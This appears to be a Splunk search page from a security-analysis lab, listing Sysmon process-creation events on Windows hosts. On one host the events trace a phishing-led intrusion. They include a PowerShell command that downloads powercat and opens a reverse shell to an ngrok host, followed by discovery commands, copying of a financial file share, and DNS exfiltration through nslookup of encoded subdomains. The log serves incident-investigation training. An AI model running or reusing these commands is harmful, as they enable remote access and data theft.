New Search

```
1  sourcetype=_json datasource=sysmon event.code=1
2  | table timestamp host.name process.name process.command_line process.parent.name
```

Last 24 hours

✓ **64 events** (12/13/25 5:00:00.000 AM to 12/14/25 5:24:15.000 AM)   No Event Sampling

Events (64)

Format Timeline

1 hour per column

SELECTED FIELDS

- *a* host 1
- *a* source 1
- *a* sourcetype 1

INTERESTING FIELDS

- *a* datasource 1
- *a* event.action 1
- # event.code 1
- *a* host.name 13
- *a* index 1
- # linecount 1
- *a* process.command_line 41
- *a* process.name 20
- *a* process.parent.name 9
- # process.parent.pid 46
- # process.pid 63
- *a* process.working_directory 15
- *a* punct 1
- *a* splunk_server 1
- *a* timestamp 51

+ Extract New Fields (/en-US/app/search/field_extractor?sid=1765689855.253)

Time | Event

12/14/25 5:03:11.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3456
   process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000
   process.name: rundll32.exe
   process.parent.name: iexplore.exe
   process.parent.pid: 3937
   process.pid: 3829
   process.working_directory: C:\Users\safa.prince\Desktop\
   timestamp: 12/14/2025 05:03:11.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25 5:02:52.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3449
   process.command_line: "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding
   process.name: iexplore.exe
   process.parent.pid: 3987
   process.pid: 3903
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 05:02:52.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:59:40.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3648
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 12/14/2025 04:59:40.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:59:40.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3700
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 12/14/2025 04:59:40.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3454
   process.command_line: atbroker.exe
   process.name: AtBroker.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3677
   process.pid: 3861
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5696
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3800
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5432
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nsloo
kup.exe" AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.
io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 6604
   process.working_directory: C:\Users\michael.asco
t\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nsloo
kup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.
io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3952
   process.working_directory: C:\Users\michael.asco
t\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25 4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5704
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25 4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 4752
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:59:24.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5520
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 12/14/2025 04:59:24.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:59:13.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3458
   process.command_line: "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent
   process.name: sethc.exe
   process.parent.name: AtBroker.exe
   process.parent.pid: 3846
   process.pid: 3721
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:59:13.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:58:37.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\net.exe" use Z: /delete
   process.name: net.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 8004
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 12/14/2025 04:58:37.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:58:26.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E
   process.name: Robocopy.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3,728
   process.pid: 8356
   process.working_directory: Z:\
   timestamp: 12/14/2025 04:58:26.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:57:39.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords
   process.name: net.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5784
   process.working_directory: C:\Users\michael.ascot\downloads\
   timestamp: 12/14/2025 04:57:39.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:57:39.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3459
   process.command_line: "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent
   process.name: sethc.exe
   process.parent.name: AtBroker.exe
   process.parent.pid: 3531
   process.pid: 3846
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:57:39.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:56:55.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3451
   process.command_line: taskhostw.exe KEYROAMING
   process.name: taskhostw.exe
   process.parent.name: svchost.exe
   process.parent.pid: 3531
   process.pid: 3870
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:56:55.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:56:25.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3459
   process.command_line: "LogonUI.exe" /flags:0x0 /
state0:0xb5731855 /state1:0x41c64e6d
   process.name: LogonUI.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3821
   process.pid: 3532
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:56:25.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:55:33.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3457
   process.command_line: "C:\Program Files\Microsof
t Office\root\Office16\OUTLOOK.EXE"
   process.name: OUTLOOK.EXE
   process.parent.name: explorer.exe
   process.parent.pid: 3888
   process.pid: 3572
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:55:33.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:55:18.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: C:\Windows\system32\net1 localgroup
   process.name: net1.exe
   process.parent.name: net.exe
   process.parent.pid: 892
   process.pid: 6576
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:55:18.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:55:18.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\net.exe" localgroup
   process.name: net.exe
   process.parent.name: powershell.exe
   process.parent.pid: 9060
   process.pid: 892
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:55:18.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time | Event

12/14/25
4:55:11.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\net.exe" user
   process.name: net.exe
   process.parent.name: powershell.exe
   process.parent.pid: 9060
   process.pid: 7336
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:55:11.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:55:11.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: C:\Windows\system32\net1 user
   process.name: net1.exe
   process.parent.name: net.exe
   process.parent.pid: 7336
   process.pid: 7796
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:55:11.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:55:05.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\whoami.exe" /priv
   process.name: whoami.exe
   process.parent.name: powershell.exe
   process.parent.pid: 9060
   process.pid: 4016
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:55:05.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:54:57.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\whoami.exe"
   process.name: whoami.exe
   process.parent.name: powershell.exe
   process.parent.pid: 9060
   process.pid: 8168
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:54:57.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:54:49.369 AM	see below

Time

Event

12/14/25
4:54:49.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\systeminfo.exe"
   process.name: systeminfo.exe
   process.parent.name: powershell.exe
   process.parent.pid: 9060
   process.pid: 3524
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:54:49.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:54:40.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3455
   process.command_line: C:\Windows\System32\mousocoreworker.exe -Embedding
   process.name: MoUsoCoreWorker.exe
   process.parent.pid: 3604
   process.pid: 3747
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:54:40.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:54:33.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell"
   process.name: powershell.exe
   process.parent.name: explorer.exe
   process.parent.pid: 3,180
   process.pid: 3880
   process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
   timestamp: 12/14/2025 04:54:33.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:53:45.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3460
   process.command_line: taskhostw.exe KEYROAMING
   process.name: taskhostw.exe
   process.parent.name: svchost.exe
   process.parent.pid: 3540
   process.pid: 3737
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:53:45.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:53:37.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3449
   process.command_line: atbroker.exe
   process.name: AtBroker.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3886
   process.pid: 3943
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:53:37.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector |
sourcetype = _json

12/14/25
4:53:13.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3461
   process.command_line: "LogonUI.exe" /flags:0x0 /
state0:0xb572b855 /state1:0x41c64e6d
   process.name: LogonUI.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3604
   process.pid: 3822
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:53:13.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector |
sourcetype = _json

Time Event

12/14/25
4:53:10.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3454
   process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000
   process.name: rundll32.exe
   process.parent.name: iexplore.exe
   process.parent.pid: 3861
   process.pid: 3824
   process.working_directory: C:\Users\liam.espinoza\Desktop\
   timestamp: 12/14/2025 04:53:10.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:53:01.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3458
   process.command_line: atbroker.exe
   process.name: AtBroker.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3557
   process.pid: 3548
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:53:01.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25 4:52:43.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3449
   process.command_line: C:\Windows\servicing\TrustedInstaller.exe
   process.name: TrustedInstaller.exe
   process.parent.name: services.exe
   process.parent.pid: 3965
   process.pid: 3535
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:52:43.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25 4:52:43.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3456
   process.command_line: taskhostw.exe NGCKeyPregen
   process.name: taskhostw.exe
   process.parent.name: svchost.exe
   process.parent.pid: 3601
   process.pid: 3756
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:52:43.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25 4:52:40.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3453
   process.command_line: "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
   process.name: OUTLOOK.EXE
   process.parent.name: explorer.exe
   process.parent.pid: 3722
   process.pid: 3903
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:52:40.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:50:48.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3457
   process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8388616 WinX:0 WinY:0 IEFrame:0000000000000000
   process.name: rundll32.exe
   process.parent.name: iexplore.exe
   process.parent.pid: 3732
   process.pid: 3702
   process.working_directory: C:\Users\diego.summers\Desktop\
   timestamp: 12/14/2025 04:50:48.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:50:42.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3457
   process.command_line: "C:\Windows\System32\Sethc.exe" /AccessibilitySoundAgent
   process.name: sethc.exe
   process.parent.name: AtBroker.exe
   process.parent.pid: 3736
   process.pid: 3745
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:50:42.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:47:45.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3459
   process.command_line: C:\Windows\system32\svchost.exe -k wsappx -p
   process.name: svchost.exe
   process.parent.name: services.exe
   process.parent.pid: 3700
   process.pid: 3842
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:47:45.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:45:07.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3456
   process.command_line: "LogonUI.exe" /flags:0x0 /state0:0xb572b855 /state1:0x41c64e6d
   process.name: LogonUI.exe
   process.parent.name: winlogon.exe
   process.parent.pid: 3518
   process.pid: 3918
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:45:07.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:44:45.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3458
   process.command_line: C:\Windows\System32\mousocoreworker.exe -Embedding
   process.name: MoUsoCoreWorker.exe
   process.parent.pid: 3680
   process.pid: 3965
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:44:45.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:44:18.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\UP4KOJQB\Important: Pending Invioce!.eml"
   process.name: OUTLOOK.EXE
   process.parent.name: OUTLOOK.EXE
   process.parent.pid: 8668
   process.pid: 5176
   process.working_directory: C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\
   timestamp: 12/14/2025 04:44:18.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

12/14/25
4:42:15.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3461
   process.command_line: "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
   process.name: OUTLOOK.EXE
   process.parent.name: explorer.exe
   process.parent.pid: 3772
   process.pid: 3769
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:42:15.369
}
```

Show as raw text

host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time Event

12/14/25
4:42:12.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3455
   process.command_line: "C:\Windows\System32\WUDFHost.exe" -HostGUID:{24b7eef1-ada5-453b-a5a6-93007dca6fbc} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fd5c32fb-5bb6-4693-82a7-6cec85d58bc4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3ba97dd6-3700-4e8a-8921-1e24128d9c7d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2a6ae716-7c20-4d0c-97b6-bb3346775edf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-54470b14-46b9-4c56-abe1-d9b12ef13c5f -LifetimeId:39d16a20-5092-495b-95b9-c7e0ec216f0f -DeviceGroupId: -HostArg:0
   process.name: WUDFHost.exe
   process.parent.name: services.exe
   process.parent.pid: 3817
   process.pid: 3710
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:42:12.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:40:12.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3461
   process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2
   process.name: iexplore.exe
   process.parent.name: iexplore.exe
   process.parent.pid: 3565
   process.pid: 3621
   process.working_directory: C:\Users\sophie.j\Desktop\
   timestamp: 12/14/2025 04:40:12.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time Event

12/14/25
4:39:20.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3452
   process.command_line: C:\Windows\system32\TSThem
e.exe -Embedding
   process.name: TSTheme.exe
   process.parent.pid: 3862
   process.pid: 3689
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:39:20.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

12/14/25
4:38:56.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3453
   process.command_line: rdpclip
   process.name: rdpclip.exe
   process.parent.name: svchost.exe
   process.parent.pid: 3925
   process.pid: 3565
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:38:56.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time

Event

12/14/25
4:38:08.369 AM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3455
   process.command_line: "C:\Windows\System32\WUDFHost.exe" -HostGUID:{eaa41944-3811-4056-972f-add85d3bfc01} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fd5c32fb-5bb6-4693-82a7-6cec85d58bc4 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3ba97dd6-3700-4e8a-8921-1e24128d9c7d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2a6ae716-7c20-4d0c-97b6-bb3346775edf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-54470b14-46b9-4c56-abe1-d9b12ef13c5f -LifetimeId:39d16a20-5092-495b-95b9-c7e0ec216f0f -DeviceGroupId: -HostArg:0
   process.name: WUDFHost.exe
   process.parent.name: services.exe
   process.parent.pid: 3648
   process.pid: 3809
   process.working_directory: C:\Windows\system32\
   timestamp: 12/14/2025 04:38:08.369
}
```

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json